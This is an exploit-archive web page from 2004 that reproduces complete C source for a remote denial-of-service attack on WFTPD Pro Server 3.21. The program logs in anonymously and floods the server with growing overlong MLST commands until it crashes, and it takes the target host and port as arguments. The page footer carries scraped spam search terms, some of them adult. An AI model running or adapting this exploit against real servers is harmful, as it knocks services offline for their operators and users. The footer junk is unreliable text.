about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , WFTPD Pro Server 3.21 MLST Remote Denial of Service Exploit



2004-08-31 WFTPD Pro Server 3.21 MLST Remote Denial of Service Exploit
/*
*----------------------------------------------------------------------- 
* 
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion cnhonker net
* : www cnhonker com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h> 

#pragma comment(lib, "ws2_32.lib")

#define FTPPORT 21
#define BUFFSIZE 204800
#define OVERFLOWSIZE 220
#define SIZE 2048 

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
 WSADATA wsa;
 unsigned short port;
 unsigned long ip;
 char user[32] = "anonymous";
 char pass[32] = "anonymous";
 int i;
 
 char *command = "MLST ";

 SOCKET s;
 int size = OVERFLOWSIZE;

 printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
 printf("lion lion#cnhonker.net,
http://www.cnhonker.com\r\n\n");

 if(argc < 3)
 {
 printf("%s <TargetHost> <TargetPort>\r\n",
argv[0]);
 return;
 }
 
 WSAStartup(MAKEWORD(2,2),&wsa);

 if((s=create_socket())==0) 
 {
 printf("[-] ERROR: Create socket failed.\r\n");
 return;
 }
 
 if(!client_connect(s, argv[1], atoi(argv[2])))
 exit(-1);
 
 loginftp(s, user, pass);
 
 memset(sendbuf, 0 ,BUFFSIZE);
 memcpy(sendbuf, "pasv\r\n", 6);
 writebuf("Send pasv", s, sendbuf, 6);
 readbuf("read", s, recvbuf, BUFFSIZE);
 
 for(i=0;i<60;i++,size++)
 {
 memset(sendbuf, 0, BUFFSIZE);
 memset(sendbuf, 'A', size);
 memcpy(sendbuf, command, strlen(command));
 sendbuf[size-2] ='\r';
 sendbuf[size-1] ='\n';
 
 printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
 show=1;
 writebuf("Send overflow buff", s, sendbuf, size);
 readbuf("read", s, recvbuf, BUFFSIZE);
 Sleep(500);
 }
 
 //send QUIT
 memset(sendbuf,0, BUFFSIZE);
 sprintf(sendbuf, "%s\r\n", "QUIT");
 writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
 
 //show=1;
 //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE); 
 //return;
 
 if(s)
 closesocket(s);
 
 WSACleanup();
}

int create_socket()
{ 
 int sockfd;
 
 sockfd=socket(AF_INET,SOCK_STREAM,0);
 if(sockfd<0)
 {
 printf("[-] Create socket error.\r\n");
 return(0);
 }
 
 return(sockfd); 
}

int client_connect(int sockfd,char* server,int port)
{
 struct sockaddr_in cliaddr;
 struct hostent *host;

 if((host=gethostbyname(server))==NULL)
 {
 printf("[-] ERROR: gethostbyname(%s) error\n", server);
 return(-1);
 } 
 
 memset(&cliaddr, 0, sizeof(struct sockaddr));

 cliaddr.sin_family=AF_INET;
 cliaddr.sin_port=htons(port);
 cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
 printf("[+] Trying %s:%d......", server, port);
 fflush(stdout);

 if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr))<0)
 {
 printf("FAILED!\r\n");
 closesocket(sockfd);
 return(-1);
 }

 printf("OK!\r\n");
 return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
 int j;

 if(s)
 {
 printf("[+] %s......", s);
 fflush(stdout);
 } 

 j=send(socket,buffer,len,0);
 if(j<=0)
 {
 printf("FAILED!\r\n");
 exit(-1);
 } 
 printf("OK!\r\n");
 return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
 int a,b,i,j=0;
 
 a=b=i=0;
 memset(buffer,0,len);

 if(s)
 {
 printf("[+] %s......", s);
 fflush(stdout);
 }

 j=recv(socket,buffer,len-1,0);
 if(j <= 0)
 {
 if(s) printf("FAILED!\n");
 printf("[-] Recv data error.\n");
 exit(-1);
 } 
 
 if(s) printf("OK!\n");

 buffer[len-1]='\0';

 if(show==1) printf("<==\r\n%s<==\r\n",buffer);

 return j;
}

void checkstatus(char *s)
{
 if(s==NULL) exit(-1);
 if(isdigit(*s))
 {
 if(s[0]=='5')
 { 
 printf("[-] Server told:%s\n",s);
 exit(-1);
 }
 else return;
 }

 printf("[-] Server said:%s\n",s);
 exit(-1);
}

void loginftp(SOCKET sockfd, char *user, char *pass)
{
 int j;
 
 show=1;
 readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
 //show=0;

 //send USER username
 memset(sendbuf,0,BUFFSIZE);
 j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
 writebuf("Send USER", sockfd,sendbuf,j);
 readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
 checkstatus(recvbuf);

 //send PASS password
 memset(sendbuf,0,BUFFSIZE);
 j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
 writebuf("Send PASS", sockfd, sendbuf, j);
 readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
 checkstatus(recvbuf);
 printf("[+] User %s logged in.\r\n", user);
}
securitydot.net - 2004-08-31

Advertising

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 08:41:00 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
mambo Remo yyy65.com maxcpm.inf k800i jogo da ba Foldersex maxcpm.inf www.hgsb88 www.baiwan I agree wi savannah php-nuke 2 SSH-1.99-O rotica.com joomla rem www.transi www.bailej pritne Www.gadis opt-x www.grilsh senao t125t Video dewi global ann girlfriend Anna sexi liu-de-hua porno-sex www.grilsh WWW VIDEO www.tese.m maxcpm.inf dianne gos maxcpm.inf sexiest ho maxcpm.inf php-nuke 2 Call to un Ime je Crack Data news for c Blitar japanese g www.shwinn mamta jobbydeale karala+sex www.zhiyon www.cha100